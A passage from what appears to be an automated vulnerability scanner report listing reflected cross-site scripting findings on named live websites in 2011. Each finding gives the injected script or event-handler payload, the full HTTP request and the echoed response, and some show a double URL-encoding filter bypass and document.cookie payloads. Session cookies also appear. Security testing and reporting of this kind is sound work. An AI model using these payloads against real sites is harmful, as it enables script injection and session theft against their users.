<!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <meta charset="UTF-8" /> <title>Discover the power of GIS with web delivery | eSpatial GIS USA</title> <meta name="google-site-verification" ...[SNIP]... <input id="kw" name="LEADCF20" type="text" value="erdas extensions for arcgisb46d4\"><script>alert(1)</script>d39b1f17c61″ /> ...[SNIP]...
The value of the utm_campaign request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d8de0"><script>alert(1)</script>e98382c987e was submitted in the utm_campaign parameter. This input was echoed as d8de0\"><script>alert(1)</script>e98382c987e in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/live-trial-adwords?utm_source=Google&utm_medium=PPC&kw=erdas%20extensions%20for%20arcgis&utm_campaign=Competitors-Competitor_Companies/d8de0"><script>alert(1)</script>e98382c987e HTTP/1.1 Host: www.espatial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:07:30 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.9 X-Pingback: http://www.espatial.com/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31515
<!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <meta charset="UTF-8" /> <title>Discover the power of GIS with web delivery | eSpatial GIS USA</title> <meta name="google-site-verification" ...[SNIP]... <input id="campaign" name="LEADCF18" type="text" value="Competitors-Competitor_Companies/d8de0\"><script>alert(1)</script>e98382c987e” /> ...[SNIP]...
The value of the utm_medium request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 51199"><script>alert(1)</script>56bf2d5010f was submitted in the utm_medium parameter. This input was echoed as 51199\"><script>alert(1)</script>56bf2d5010f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/live-trial-adwords?utm_source=Google&utm_medium=PPC51199"><script>alert(1)</script>56bf2d5010f&kw=erdas%20extensions%20for%20arcgis&utm_campaign=Competitors-Competitor_Companies/ HTTP/1.1 Host: www.espatial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:06:42 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.9 X-Pingback: http://www.espatial.com/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31515
<!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <meta charset="UTF-8" /> <title>Discover the power of GIS with web delivery | eSpatial GIS USA</title> <meta name="google-site-verification" ...[SNIP]... <input id="medium" maxlength="100" name="LEADCF16" type="text" value="PPC51199\"><script>alert(1)</script>56bf2d5010f” /> ...[SNIP]...
The value of the utm_source request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 343dc"><script>alert(1)</script>8d97a1fb067 was submitted in the utm_source parameter. This input was echoed as 343dc\"><script>alert(1)</script>8d97a1fb067 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /contact/live-trial-adwords?utm_source=Google343dc"><script>alert(1)</script>8d97a1fb067&utm_medium=PPC&kw=erdas%20extensions%20for%20arcgis&utm_campaign=Competitors-Competitor_Companies/ HTTP/1.1 Host: www.espatial.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 05:06:17 GMT Server: Apache/2.0.63 (Unix) mod_ssl/2.0.63 OpenSSL/0.9.8e-fips-rhel5 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 X-Powered-By: PHP/5.2.9 X-Pingback: http://www.espatial.com/xmlrpc.php Connection: close Content-Type: text/html; charset=UTF-8 Content-Length: 31515
<!DOCTYPE html> <html dir="ltr" lang="en-US"> <head> <meta charset="UTF-8" /> <title>Discover the power of GIS with web delivery | eSpatial GIS USA</title> <meta name="google-site-verification" ...[SNIP]... <input id="source" name="LEADCF19" type="text" value="Google343dc\"><script>alert(1)</script>8d97a1fb067″ /> ...[SNIP]...
The value of the lim request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload d300a"%3balert(1)//466e3d06500 was submitted in the lim parameter. This input was echoed as d300a";alert(1)//466e3d06500 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /flippingGen.php?i=53162&m=12191&ttype=curlstatic&popup=true&h=148&lim=d300a"%3balert(1)//466e3d06500&remToolbars=true&roll= HTTP/1.1 Host: www.flashedition.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the m request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d2891"><script>alert(1)</script>9f569d106b3 was submitted in the m parameter. This input was echoed as d2891\"><script>alert(1)</script>9f569d106b3 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /flippingGen.php?i=53162&m=12191d2891"><script>alert(1)</script>9f569d106b3&ttype=curlstatic&popup=true&h=148&lim=&remToolbars=true&roll= HTTP/1.1 Host: www.flashedition.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the remToolbars request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 6d68a"%3balert(1)//12a5c5f7f74 was submitted in the remToolbars parameter. This input was echoed as 6d68a";alert(1)//12a5c5f7f74 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /flippingGen.php?i=53162&m=12191&ttype=curlstatic&popup=true&h=148&lim=&remToolbars=true6d68a"%3balert(1)//12a5c5f7f74&roll= HTTP/1.1 Host: www.flashedition.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The value of the roll request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload ec7c6"%3balert(1)//123eb991fc6 was submitted in the roll parameter. This input was echoed as ec7c6";alert(1)//123eb991fc6 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /flippingGen.php?i=53162&m=12191&ttype=curlstatic&popup=true&h=148&lim=&remToolbars=true&roll=ec7c6"%3balert(1)//123eb991fc6 HTTP/1.1 Host: www.flashedition.com Proxy-Connection: keep-alive Referer: http://www.parenthood.com/?d1907'-alert(document.cookie)-'807a8eb3eff=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
4.1185. http://www.flashedition.com/publication [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.flashedition.com
Path:
/publication
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload fc6ee"-alert(1)-"5a80650f1f2 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /publication?i=53162&fc6ee"-alert(1)-"5a80650f1f2=1 HTTP/1.1 Host: www.flashedition.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response (redirected)
HTTP/1.1 200 OK Server: nginx/0.7.63 Date: Tue, 25 Jan 2011 13:15:17 GMT Content-Type: text/html; charset=utf-8 Connection: close Vary: Accept-Encoding X-Powered-By: PHP/5.3.5 P3P: policyref="/w3c/p3p.xml",CP="CAO DSP COR CURa ADMa DEVa TAIa PSAo PSDo CONo TELo OUR DELo SAMo OTRo BUS IND PHY ONL UNI PUR COM NAV DEM STA" Set-Cookie: PHPSESSID=l2euff51eop9u11c04vqou2vi2; expires=Tue, 25-Jan-2011 17:15:17 GMT; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: u_id=l2euff51eop9u11c04vqou2vi2; expires=Wed, 25-Jan-2012 13:15:17 GMT Set-Cookie: ie_warn=1; expires=Wed, 25-Jan-2012 13:15:17 GMT Vary: Accept-Encoding Content-Length: 6822 Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
4.1186. http://www.google.com/advanced_search [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.google.com
Path:
/advanced_search
Issue detail
The name of an arbitrarily supplied request parameter is copied into a JavaScript expression which is not encapsulated in any quotation marks. The payload e8b16(a)ffc7188f57 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject JavaScript commands into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /advanced_search?e8b16(a)ffc7188f57=1 HTTP/1.1 Host: www.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=173272373.1294766927.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); __utma=173272373.1871872.1294766927.1294766927.1294766927.1; PREF=ID=11a9f75446a95c33:U=f6f0157cbdaf97f8:FF=0:TM=1293845297:LM=1295377703:GM=1:S=8wu8JKm_kVjmCdUt; NID=42=TKkfn6Tg7OKIy4aZoe4v6m5-9eWtGaicWAxOp0ReoP7haXOs4wVSbY3dIWgiz04r_L-gfyIMSiYfCfw16ffNlM8YVHvy9fcgoDr9uWOPODsh-QzrVXD7T9MKFCea-X0V;
Response
HTTP/1.1 200 OK Cache-Control: private, max-age=0 Date: Mon, 24 Jan 2011 16:39:54 GMT Expires: -1 Content-Type: text/html; charset=UTF-8 Server: gws X-XSS-Protection: 1; mode=block Connection: close
The value of REST URL parameter 6 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 96d40"><img%20src%3da%20onerror%3dalert(1)>8a98a4ad0ce was submitted in the REST URL parameter 6. This input was echoed as 96d40"><img src=a onerror=alert(1)>8a98a4ad0ce in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Request
GET /artsandculture/actualite/id/47982/theme/11196d40"><img%20src%3da%20onerror%3dalert(1)>8a98a4ad0ce/titre/Raquel-Boldorini-in-concert-at-AUB-s-Assembly-Hall/x22 HTTP/1.1 Host: www.iloubnan.info Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
4.1188. http://www.joomlacorner.com/joomla-news/608-joomla-16-has-arrived.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.joomlacorner.com
Path:
/joomla-news/608-joomla-16-has-arrived.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 86f61"><a>94b097f275a was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /joomla-news/608-joomla-16-has-arrived.html?86f61"><a>94b097f275a=1 HTTP/1.1 Host: www.joomlacorner.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:17:54 GMT Server: Apache/2 X-Powered-By: PHP/5.2.16 Set-Cookie: 992260232bef5a730b1bd291176df96d=939f6a9032f82658be7e27481228eac4; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: ja_anion_tpl=ja_anion; expires=Sat, 14-Jan-2012 15:17:55 GMT; path=/ Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:17:56 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32165
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
4.1189. http://www.joomlacorner.com/joomla-news/608-joomla-16-has-arrived.html [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Firm
Host:
http://www.joomlacorner.com
Path:
/joomla-news/608-joomla-16-has-arrived.html
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is not encapsulated in any quotation marks. The payload 8e400><a>e79886acd90 was submitted in the name of an arbitrarily supplied request parameter. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /joomla-news/608-joomla-16-has-arrived.html?8e400><a>e79886acd90=1 HTTP/1.1 Host: www.joomlacorner.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:55 GMT Server: Apache/2 X-Powered-By: PHP/5.2.16 Set-Cookie: 992260232bef5a730b1bd291176df96d=5009afaf1ce89542e374ff7187e38db3; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Set-Cookie: ja_anion_tpl=ja_anion; expires=Sat, 14-Jan-2012 15:16:55 GMT; path=/ Expires: Mon, 1 Jan 2001 00:00:00 GMT Last-Modified: Mon, 24 Jan 2011 15:16:57 GMT Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Pragma: no-cache Vary: Accept-Encoding,User-Agent Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 32149
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of the title request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 913f2"><script>alert(1)</script>ce47769743c was submitted in the title parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /go/AddNoPopup?url={u}&title={t}913f2"><script>alert(1)</script>ce47769743c HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the title request parameter is copied into the HTML document as plain text between tags. The payload b7049<script>alert(1)</script>1c38d89fec7 was submitted in the title parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /go/AddNoPopup?url={u}&title={t}b7049<script>alert(1)</script>1c38d89fec7 HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of the url request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6dcf1"><script>alert(1)</script>249de33cf45 was submitted in the url parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Request
GET /go/AddNoPopup?url={u}6dcf1"><script>alert(1)</script>249de33cf45&title={t} HTTP/1.1 Host: www.linkagogo.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c1471%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4fb583d3360 was submitted in the REST URL parameter 1. This input was echoed as c1471"><script>alert(1)</script>4fb583d3360 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:16:36 GMT Server: Apache Set-Cookie: 2d3002958ebe475c6a8e5c841c44742a=173c304feeb1dfb81f054f2597ddca74; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 16655
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/7-joomla-naujienosc1471"><script>alert(1)</script>4fb583d3360/70-joomla-160-isleista.html" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d560%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5f1a33e564 was submitted in the REST URL parameter 2. This input was echoed as 9d560"><script>alert(1)</script>5f1a33e564 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /7-joomla-naujienos/9d560%2522%253e%253cscript%253ealert%25281%2529%253c%252fscript%253e5f1a33e564 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:18:25 GMT Server: Apache Set-Cookie: 2d3002958ebe475c6a8e5c841c44742a=14c3863e542d0a99b1068bfc91970394; path=/ P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 22004
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/7-joomla-naujienos/9d560"><script>alert(1)</script>5f1a33e564" /> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 12405%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e2c290fd4de0 was submitted in the REST URL parameter 1. This input was echoed as 12405"><img src=a onerror=alert(1)>2c290fd4de0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /12405%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e2c290fd4de0 HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 00:05:20 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 X-Pad: avoid browser bug Content-Length: 13452
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/12405"><img src=a onerror=alert(1)>2c290fd4de0" /> ...[SNIP]...
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d9861%2522%253e%253ca%253e20822d6648d was submitted in the REST URL parameter 2. This input was echoed as d9861"><a>20822d6648d in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 2 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /component/usersd9861%2522%253e%253ca%253e20822d6648d/ HTTP/1.1 Host: www.lithuanianjoomla.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7;
Response
HTTP/1.1 404 Component not found Date: Tue, 25 Jan 2011 00:08:50 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Connection: close Content-Type: text/html; charset=utf-8 Content-Length: 4639
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en-gb" lang="en-gb" dir ...[SNIP]... <form action="/component/usersd9861"><a>20822d6648d/" method="post"> ...[SNIP]...
The value of REST URL parameter 1 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload a693f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253efdcc0a4b4f0 was submitted in the REST URL parameter 1. This input was echoed as a693f"><img src=a onerror=alert(1)>fdcc0a4b4f0 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the value of REST URL parameter 1 as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
GET /a693f%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253efdcc0a4b4f0 HTTP/1.1 Host: www.lithuanianjoomla.com Proxy-Connection: keep-alive Referer: http://www.lithuanianjoomla.com/7-joomla-naujienosc1471%2522%253e%253cscript%253ealert%2528document.cookie%2529%253c%252fscript%253e4fb583d3360/70-joomla-160-isleista.html X-Requested-With: XMLHttpRequest Accept: text/javascript, text/html, application/xml, text/xml, */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 2d3002958ebe475c6a8e5c841c44742a=06cd639e41fd40994f059d122e993ad7
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 22:27:34 GMT Server: Apache P3P: CP="NOI ADM DEV PSAi COM NAV OUR OTRo STP IND DEM" Cache-Control: no-cache Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Length: 13554
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="lt-lt" lang="lt-lt" dir= ...[SNIP]... <base href="http://www.lithuanianjoomla.com/a693f"><img src=a onerror=alert(1)>fdcc0a4b4f0" /> ...[SNIP]...
4.1198. http://www.lithuanianjoomla.com/index.php [name of an arbitrarily supplied request parameter]previousnext
Summary
Severity:
High
Confidence:
Certain
Host:
http://www.lithuanianjoomla.com
Path:
/index.php
Issue detail
The name of an arbitrarily supplied request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 317fb%2522%253e%253cimg%2520src%253da%2520onerror%253dalert%25281%2529%253e72dcb99ea8d was submitted in the name of an arbitrarily supplied request parameter. This input was echoed as 317fb"><img src=a onerror=alert(1)>72dcb99ea8d in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
The application attempts to block certain characters that are often used in XSS attacks but this can be circumvented by double URL-encoding the required characters - for example, by submitting %253c instead of the < character.
Remediation detail
There is probably no need to perform a second URL-decode of the name of an arbitrarily supplied request parameter as the web server will have already carried out one decode. In any case, the application should perform its input validation after any custom canonicalisation has been carried out.
Request
